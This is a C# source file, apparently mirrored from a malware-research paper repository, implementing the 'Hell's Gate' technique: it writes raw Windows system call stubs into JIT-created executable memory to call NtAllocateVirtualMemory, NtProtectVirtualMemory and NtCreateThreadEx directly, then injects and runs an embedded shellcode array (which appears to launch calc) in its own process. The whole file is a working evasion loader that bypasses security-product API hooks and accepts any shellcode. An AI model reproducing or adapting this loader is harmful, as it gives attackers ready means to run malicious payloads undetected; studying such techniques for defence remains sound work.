mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-16 15:59:25 +00:00
279 lines
16 KiB
C#
279 lines
16 KiB
C#
using System;
|
|
using SharpHellsGate.Win32;
|
|
using System.Runtime.InteropServices;
|
|
using System.Collections.Generic;
|
|
using System.Reflection;
|
|
using System.Runtime.CompilerServices;
|
|
|
|
namespace SharpHellsGate {
|
|
|
|
/// <summary>
|
|
/// Main implementation of the Hell's Gate technique.
|
|
/// Responsible for generating a RWX memory region, inject and execute system call stubs.
|
|
/// </summary>
|
|
public class HellsGate {
|
|
|
|
/// <summary>
|
|
/// Used to check if the RWX memory region was generated.
|
|
/// </summary>
|
|
private bool IsGateReady { get; set; } = false;
|
|
|
|
/// <summary>
|
|
/// Used as for mutual exclusion while injecting and execution of the system call stub in memory.
|
|
/// </summary>
|
|
private object Mutant { get; set; } = new object();
|
|
|
|
/// <summary>
|
|
///
|
|
/// </summary>
|
|
private Dictionary<UInt64, Util.APITableEntry> APITable { get; set; } = new Dictionary<ulong, Util.APITableEntry>() { };
|
|
|
|
/// <summary>
|
|
/// Address of the managed method that was JIT'ed.
|
|
/// </summary>
|
|
private IntPtr MangedMethodAddress { get; set; } = IntPtr.Zero;
|
|
|
|
/// <summary>
|
|
/// Address of the RWX memory region after JIT compiling the managed method.
|
|
/// </summary>
|
|
private IntPtr UnmanagedMethodAddress { get; set; } = IntPtr.Zero;
|
|
|
|
/// <summary>
|
|
/// This function will be JIT at runtime to create RWX memory region.
|
|
/// </summary>
|
|
//// <returns>Gate returns either STATUS_SUCCESS or an error status code.</returns>
|
|
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
|
private static UInt32 Gate() {
|
|
return new UInt32();
|
|
}
|
|
|
|
/// <summary>
|
|
/// Inject in memory a basic system call stub and return a delegate for execution via un-managed code.
|
|
/// </summary>
|
|
/// <typeparam name="T">The desired delegate Type.</typeparam>
|
|
/// <param name="syscall">The system call to execute.</param>
|
|
/// <returns>A delegate of to execute the system call.</returns>
|
|
private T NtInvocation<T>(Int16 syscall) where T: Delegate {
|
|
if (!this.IsGateReady || this.UnmanagedMethodAddress == IntPtr.Zero) {
|
|
Util.LogError("Unable to inject system call stub");
|
|
return default;
|
|
}
|
|
|
|
Span<byte> stub = stackalloc byte[24] {
|
|
0x4c, 0x8b, 0xd1, // mov r10, rcx
|
|
0xb8, (byte)syscall, (byte)(syscall >> 8), 0x00, 0x00, // mov eax, <syscall
|
|
0xf6, 0x04, 0x25, 0x08, 0x03, 0xfe, 0x7f, 0x01, // test byte ptr [SharedUserData+0x308],1
|
|
0x75, 0x03, // jne ntdll!<function>+0x15
|
|
0x0f, 0x05, // syscall
|
|
0xc3, // ret
|
|
0xcd, 0x2e, // int 2Eh
|
|
0xc3 // ret
|
|
};
|
|
|
|
Marshal.Copy(stub.ToArray(), 0, this.UnmanagedMethodAddress, stub.Length);
|
|
return Marshal.GetDelegateForFunctionPointer<T>(this.UnmanagedMethodAddress);
|
|
}
|
|
|
|
/// <summary>
|
|
/// Managed wrapper around the NtAllocateVirtualMemory native Windows function
|
|
/// </summary>
|
|
/// <param name="ProcessHandle">A handle for the process for which the mapping should be done.</param>
|
|
/// <param name="BaseAddress">A pointer to a variable that will receive the base address of the allocated region of pages.</param>
|
|
/// <param name="ZeroBits">The number of high-order address bits that must be zero in the base address of the section view.</param>
|
|
/// <param name="RegionSize">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>
|
|
/// <param name="AllocationType">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>
|
|
/// <param name="Protect">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>
|
|
/// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
|
|
private UInt32 NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) {
|
|
lock (this.Mutant) {
|
|
Int16 syscall = this.APITable[Util.NtAllocateVirtualMemoryHash].Syscall;
|
|
if (syscall == 0x0000)
|
|
return Macros.STATUS_UNSUCCESSFUL;
|
|
|
|
DFunctions.NtAllocateVirtualMemory Func = NtInvocation<DFunctions.NtAllocateVirtualMemory>(syscall);
|
|
return Func(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Managed wrapper around the NtProtectVirtualMemory native Windows function.
|
|
/// </summary>
|
|
/// <param name="ProcessHandle">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>
|
|
/// <param name="BaseAddress">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>
|
|
/// <param name="NumberOfBytesToProtect">Pointer to size of region to protect. On output will be round to page size (4KB).</param>
|
|
/// <param name="NewAccessProtection">One or some of PAGE_... attributes.</param>
|
|
/// <param name="OldAccessProtection">Receive previous protection.</param>
|
|
/// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
|
|
private UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr NumberOfBytesToProtect, UInt32 NewAccessProtection, ref UInt32 OldAccessProtection) {
|
|
lock (this.Mutant) {
|
|
Int16 syscall = this.APITable[Util.NtProtectVirtualMemoryHash].Syscall;
|
|
if (syscall == 0x0000)
|
|
return Macros.STATUS_UNSUCCESSFUL;
|
|
|
|
DFunctions.NtProtectVirtualMemory Func = NtInvocation<DFunctions.NtProtectVirtualMemory>(syscall);
|
|
return Func(ProcessHandle, ref BaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, out OldAccessProtection);
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Managed wrapper around the NtCreateThreadEx native Windows function.
|
|
/// </summary>
|
|
/// <param name="hThread">Caller supplied storage for the resulting handle.</param>
|
|
/// <param name="DesiredAccess">Specifies the allowed or desired access to the thread.</param>
|
|
/// <param name="ObjectAttributes">Initialized attributes for the object.</param>
|
|
/// <param name="ProcessHandle">Handle to the threads parent process.</param>
|
|
/// <param name="lpStartAddress">Address of the function to execute.</param>
|
|
/// <param name="lpParameter">Parameters to pass to the function.</param>
|
|
/// <param name="CreateSuspended">Whether the thread will be in suspended mode and has to be resumed later.</param>
|
|
/// <param name="StackZeroBits"></param>
|
|
/// <param name="SizeOfStackCommit">Initial stack memory to commit.</param>
|
|
/// <param name="SizeOfStackReserve">Initial stack memory to reserve.</param>
|
|
/// <param name="lpBytesBuffer"></param>
|
|
/// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>
|
|
private UInt32 NtCreateThreadEx(ref IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer) {
|
|
lock (this.Mutant) {
|
|
Int16 syscall = this.APITable[Util.NtCreateThreadExHash].Syscall;
|
|
if (syscall == 0x0000)
|
|
return Macros.STATUS_UNSUCCESSFUL;
|
|
|
|
DFunctions.NtCreateThreadEx Func = NtInvocation<DFunctions.NtCreateThreadEx>(syscall);
|
|
return Func(ref hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Managed wrapper around the NtWaitForSingleObject native Windows function.
|
|
/// </summary>
|
|
/// <param name="ObjectHandle">Open handle to a alertable executive object.</param>
|
|
/// <param name="Alertable">If set, calling thread is signaled, so all queued APC routines are executed.</param>
|
|
/// <param name="TimeOuts">Time-out interval, in microseconds. NULL means infinite.</param>
|
|
/// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>
|
|
private UInt32 NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertable, ref Structures.LARGE_INTEGER TimeOuts) {
|
|
lock (this.Mutant) {
|
|
Int16 syscall = this.APITable[Util.NtWaitForSingleObjectHash].Syscall;
|
|
if (syscall == 0x0000)
|
|
return Macros.STATUS_UNSUCCESSFUL;
|
|
|
|
DFunctions.NtWaitForSingleObject Func = NtInvocation<DFunctions.NtWaitForSingleObject>(syscall);
|
|
return Func(ObjectHandle, Alertable, ref TimeOuts);
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// .ctor
|
|
/// </summary>
|
|
/// <param name="Table">The API table that will be used by the multiple function wrapers.</param>
|
|
public HellsGate(Dictionary<UInt64, Util.APITableEntry> Table) {
|
|
this.APITable = Table;
|
|
}
|
|
|
|
/// <summary>
|
|
/// JIT a static method to generate RWX memory segment.
|
|
/// </summary>
|
|
/// <returns>Whether the memory segment was successfully generated.</returns>
|
|
public bool GenerateRWXMemorySegment() {
|
|
// Find and JIT the method
|
|
MethodInfo method = typeof(HellsGate).GetMethod(nameof(Gate), BindingFlags.Static | BindingFlags.NonPublic);
|
|
if (method == null) {
|
|
Util.LogError("Unable to find the method");
|
|
return false;
|
|
}
|
|
RuntimeHelpers.PrepareMethod(method.MethodHandle);
|
|
|
|
// Get the address of the function and check if first opcode == JMP
|
|
IntPtr pMethod = method.MethodHandle.GetFunctionPointer();
|
|
if (Marshal.ReadByte(pMethod) != 0xe9) {
|
|
Util.LogError("Method was not JIT'ed or invalid stub");
|
|
return false;
|
|
}
|
|
Util.LogInfo($"Managed method address: 0x{pMethod:x16}");
|
|
|
|
// Get address of jited method and stack alignment
|
|
Int32 offset = Marshal.ReadInt32(pMethod, 1);
|
|
UInt64 addr = (UInt64)pMethod + (UInt64)offset;
|
|
while (addr % 16 != 0)
|
|
addr++;
|
|
Util.LogInfo($"Unmanaged method address: 0x{addr:x16}\n");
|
|
|
|
this.MangedMethodAddress = method.MethodHandle.GetFunctionPointer();
|
|
this.UnmanagedMethodAddress = (IntPtr)addr;
|
|
this.IsGateReady = true;
|
|
return true;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Payload example. In this case this is a basic shellcode self-injection.
|
|
/// </summary>
|
|
public void Payload() {
|
|
if (!this.IsGateReady) {
|
|
if (!this.GenerateRWXMemorySegment()) {
|
|
Util.LogError("Unable to generate RX memory segment");
|
|
return;
|
|
}
|
|
}
|
|
|
|
byte[] shellcode = new byte[273] {
|
|
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
|
|
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
|
|
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
|
|
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
|
|
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
|
|
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
|
|
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
|
|
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
|
|
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
|
|
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
|
|
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
|
|
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
|
|
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
|
|
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
|
|
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
|
|
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
|
|
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
|
|
0x63,0x00,0xc3
|
|
};
|
|
Util.LogInfo($"Shellcode size: {shellcode.Length} bytes");
|
|
|
|
// Allocate Memory
|
|
IntPtr pBaseAddres = IntPtr.Zero;
|
|
IntPtr Region = (IntPtr)shellcode.Length;
|
|
UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE);
|
|
if (!Macros.NT_SUCCESS(ntstatus)) {
|
|
Util.LogError($"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})");
|
|
return;
|
|
}
|
|
Util.LogInfo($"Page address: 0x{pBaseAddres:x16}");
|
|
|
|
// Copy Memory
|
|
Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length);
|
|
Array.Clear(shellcode, 0, shellcode.Length);
|
|
|
|
// Change memory protection
|
|
UInt32 OldAccessProtection = 0;
|
|
ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection);
|
|
if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) {
|
|
Util.LogError($"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})");
|
|
return;
|
|
}
|
|
|
|
IntPtr hThread = IntPtr.Zero;
|
|
ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
|
|
if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) {
|
|
Util.LogError($"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})");
|
|
return;
|
|
}
|
|
Util.LogInfo($"Thread handle: 0x{hThread:x16}\n");
|
|
|
|
// Wait for one second
|
|
Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER();
|
|
TimeOut.QuadPart = -10000000;
|
|
ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut);
|
|
if (ntstatus != 0x00) {
|
|
Util.LogError($"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})");
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
}
|